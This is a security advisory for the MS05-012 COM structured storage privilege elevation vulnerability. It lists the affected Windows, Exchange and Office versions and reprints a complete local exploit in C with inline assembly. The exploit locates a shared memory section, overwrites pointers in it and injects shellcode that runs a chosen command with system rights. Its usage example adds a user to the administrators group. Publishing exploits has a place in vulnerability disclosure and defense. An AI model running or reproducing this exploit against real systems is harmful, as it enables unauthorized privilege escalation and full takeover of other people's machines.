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Vulnerability in OLE and COM Allows Remote Code Execution (Exploit,
MS05-012)
------------------------------------------------------------------------
SUMMARY
A privilege elevation vulnerability exists in the way that the affected
operating systems and programs access memory when they process COM
structured storage files. This vulnerability could allow a logged on user
to take complete control of the system. The following exploit code can be
used to determine whether your system is vulnerable or not.
DETAILS
Affected Software:
* Microsoft Windows 2000 Service Pack 3 and Microsoft Windows 2000
Service Pack 4
* Microsoft Windows XP Service Pack 1 and Microsoft Windows XP Service
Pack 2
* Microsoft Windows XP 64-Bit Edition Service Pack 1 (Itanium)
* Microsoft Windows XP 64-Bit Edition Version 2003 (Itanium)
* Microsoft Windows Server 2003
* Microsoft Windows Server 2003 for Itanium-based Systems
* Microsoft Exchange 2000 Server Service Pack 3 (uses the Windows OLE
component)
* Microsoft Exchange Server 2003 and Microsoft Exchange Server 2003
Service Pack 1 (uses the Windows OLE component)
* Microsoft Exchange Server 5.0 Service Pack 2 (uses the Windows OLE
component)
* Microsoft Exchange Server 5.5 Service Pack 4 (uses the Windows OLE
component)
* Microsoft Windows 98, Microsoft Windows 98 Second Edition (SE), and
Microsoft Windows Millennium Edition (ME) Review the FAQ section of this
bulletin for details about these operating systems.
* Microsoft Office XP Service Pack 3 (uses the Windows OLE component)
* Microsoft Office XP Service Pack 2 (uses the Windows OLE component)
* Microsoft Office XP Software:
* Outlook 2002
* Word 2002
* Excel 2002
* PowerPoint 2002
* FrontPage 2002
* Publisher 2002
* Access 2002
* Microsoft Office 2003 Service Pack 1 (Uses the Windows OLE component)
* Microsoft Office 2003 (Uses the Windows OLE component)
* Microsoft Office 2003 Software:
* Outlook 2003
* Word 2003
* Excel 2003
* PowerPoint 2003
* FrontPage 2003
* Publisher 2003
* Access 2003
* InfoPath 2003
* OneNote 2003
Exploit:
// by Cesar Cerrudo - Argeniss - www.argeniss.com
// MS05-012 - COM Structured Storage Vulnerability - CAN-2005-0047 Exploit
//
// More exploits at www.argeniss.com/products.html
//
// Works on Win2k sp4, WinXP sp2, Win2k3 sp0
// Close all runing programs to avoid possible problems
// If it finds the section and it doesn't work remove section permissions
// from msiexec service process with WinObj or crash the msiexec service
and try again
// if offsets don't work, debug and change them
#include <windows.h>
#include <stdio.h>
typedef struct _LSA_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
typedef struct _OBJDIR_INFORMATION {
UNICODE_STRING ObjectName;
UNICODE_STRING ObjectTypeName;
BYTE Data[1];
} OBJDIR_INFORMATION;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
UNICODE_STRING *ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES;
#define InitializeObjectAttributes( p, n, a, r, s ) { \
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}
typedef DWORD (WINAPI* MSIINSTALLPRODUCT)(LPCSTR szPackagePath, LPCSTR
szCommandLine);
MSIINSTALLPRODUCT MsiInstallProduct;
typedef DWORD (WINAPI* NTQUERYDIRECTORYOBJECT)( HANDLE,
OBJDIR_INFORMATION*, DWORD, DWORD ,DWORD,DWORD*,DWORD* );
NTQUERYDIRECTORYOBJECT NtQueryDirectoryObject;
typedef DWORD (WINAPI* NTOPENDIRECTORYOBJECT)( HANDLE *,
DWORD,OBJECT_ATTRIBUTES* );
NTOPENDIRECTORYOBJECT NtOpenDirectoryObject;
DWORD WINAPI LoadWinInstaller(LPVOID lpParam)
{
HMODULE hMsi;
hMsi = LoadLibrary("msi.dll");
MsiInstallProduct = (MSIINSTALLPRODUCT)GetProcAddress(hMsi,
"MsiInstallProductA");
//run unistall , without permissions this makes a windows pop up
//while this window is showing the shared section is created and
available on Windows Installer service process
MsiInstallProduct((char*)lpParam,"REMOVE=ALL");
return 0;
}
int main(int argc, char* argv[])
{
OBJDIR_INFORMATION *ssinfo =(OBJDIR_INFORMATION* )
HeapAlloc(GetProcessHeap(), 0, 0x800);
HANDLE hFile,hThread,hMapFile;
HMODULE hNtdll ,hKernel;
DWORD dwThreadId;
OBJECT_ATTRIBUTES obj;
WCHAR * uString=L"\\BaseNamedObjects";
UNICODE_STRING str;
DWORD i,a,iStrLen,b=0;
char sObjName[30],sTmp[50];
LPVOID lpMapAddress;
FARPROC pWinExec,pExitThread;
bool bFound;
char* sCommand;
if (!argv[1]||!argv[2]) {
printf("\nUsage :\n SSExploit \"Applicatoin to uninstall\" \"command\"
\n");
printf("\nExamples :\n SSExploit \"c:\\windows\\system32\\webfldrs.msi\"
\"cmd.exe\" (cmd.exe will interactively run on Win2k only) \n SSExploit
\"c:\\windows\\system32\\webfldrs.msi\" \"net localgroup administrators
/add youruser\" \n");
exit(0);
}
iStrLen=strlen(argv[2]);
if(iStrLen>=65){
printf("\n\"command\" must be less than 65 chars.\n");
exit(0);
}
sCommand=argv[2];
hThread = CreateThread(NULL,0,LoadWinInstaller,argv[1],0,&dwThreadId);
Sleep(3000);
hNtdll = LoadLibrary("ntdll.dll");
NtQueryDirectoryObject = (NTQUERYDIRECTORYOBJECT
)GetProcAddress(hNtdll,"NtQueryDirectoryObject");
NtOpenDirectoryObject = (NTOPENDIRECTORYOBJECT
)GetProcAddress(hNtdll,"NtOpenDirectoryObject");
str.Length=wcslen(uString)*2;
str.MaximumLength =wcslen(uString)*2+2;
str.Buffer =uString;
InitializeObjectAttributes (&obj, &str, 0, 0, 00);
NtOpenDirectoryObject(&hFile,0x20001,&obj);
printf("\nSearching for Shared Section...\n\n");
// Get all objects names under \BaseNamedObjects
if (NtQueryDirectoryObject(hFile,ssinfo,0x800,TRUE,TRUE,&b,&a)==0){
do{
bFound=NULL;
while (NtQueryDirectoryObject(hFile,ssinfo,0x800,TRUE,FALSE,&b,&a)==0){
//check if it's a section name
if (!wcscmp(ssinfo->ObjectTypeName.Buffer ,L"Section")){
for (i=0;(i<=wcslen(ssinfo->ObjectName.Buffer))&(i<30);i++){
sObjName[i]=(char)ssinfo->ObjectName.Buffer[i];
}
//check if it's the one we are searching for
if (!strncmp(sObjName,"DfSharedHeap",12)){
bFound=1;
break;
}
}
}
if (bFound)
printf("Shared Section Found: %s\n",sObjName);
else {
printf("Shared Section Not Found");
exit(0);
}
strcpy(sTmp,"Global\\");
strcat(sTmp,sObjName); //append global prefix to support Terminal
Services
hMapFile = OpenFileMapping(FILE_MAP_WRITE, FALSE,sTmp);
//the shared section name couldn't be the one we are searching for
if (hMapFile == NULL)
printf("Could not open Shared Section\n\n");
else
printf("Shared Section opened\n\n");
} while (hMapFile == NULL) ;
lpMapAddress = MapViewOfFile(hMapFile, FILE_MAP_WRITE,0,0,0);
if (lpMapAddress == NULL) {
printf("Could not map Shared Section");
exit(0);
}
else
printf("Shared Section Mapped\n\nOverwriting Pointer and Inyecting
Shellcode...\n\n");
hKernel=LoadLibrary("Kernel32.dll");
pWinExec=GetProcAddress(hKernel,"WinExec");
pExitThread=GetProcAddress(hKernel,"ExitThread");
_asm{
mov eax,fs:[30h] // get pointer to PEB
mov eax,[eax+0A8h] // get OS minor version
cmp eax,0x0
jz W2ksp4
cmp eax,0x1
jz WinXPsp2
jmp Win2K3 // address of section seems static on same OS version
W2Ksp4:
mov eax,0x0101FFF0 // address of begining of section - 0x10 used to
overwrite pointer
mov edx,0x01020004 // address of shellcode
jmp Done
WinXPsp2:
mov eax,0x0086FFF0 // address of begining of section - 0x10 used to
overwrite pointer
mov edx,0x00870004 // address of shellcode
jmp Done
Win2K3:
mov eax,0x007BFFF0 // address of begining of section - 0x10 used to
overwrite pointer
mov edx,0x007C0004 // address of shellcode
Done:
mov ebx,lpMapAddress
mov ecx, 0x1000
l00p: // overwrite section data, so overwriten structures will point to
shellcode
mov dword ptr[ebx],eax
sub ecx,0x4
add ebx,0x4
cmp ecx,0x0
jnz l00p
mov ebx,lpMapAddress //address of shellcode
mov dword ptr[ebx],edx
//start copying shellcode
lea esi, Shellcode
lea edi, [ebx+4]
lea ecx, End
sub ecx, esi
push esi
push edi
cld
rep movsb
pop edi
pop esi
push edi
lea ecx, CommandBuf
sub ecx, esi
add edi, ecx
mov esi, sCommand
mov ecx, iStrLen
rep movsb
mov [edi], 0x00
pop edi
mov esi, pWinExec
mov [edi+0x5], esi
mov esi, pExitThread
mov [edi+0x9], esi
}
printf("Command should have been executed ;)\n");
CloseHandle(hMapFile);
}
else printf("Couldn't get object names \n");
return 0;
_asm{
Shellcode:
call getDelta
// this gets overwrited
mov ax,0xffff
mov ax,0xffff
CommandBuf: // this gets overwrited
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
getDelta:
pop edx // Get shellcode/shared section pointer
push edx // save edx
push 0x1 // push 0x0 for hidden window
lea eax, [edx+0x8]
push eax // Command offset
call [edx] // Call WinExec
pop edx
call [edx+0x4] // Call ExitThread to avoid msiexec service to crash
End:
}
}
/* EOF */
ADDITIONAL INFORMATION
The information has been provided by <mailto:cesarc56@yahoo.com> Cesar .
The original exploit can be found at:
<http://www.argeniss.com/research/SSExploit.c>
http://www.argeniss.com/research/SSExploit.c
The advisory can be found at:
<http://www.securiteam.com/windowsntfocus/5PP002KEVY.html>
http://www.securiteam.com/windowsntfocus/5PP002KEVY.html
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The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
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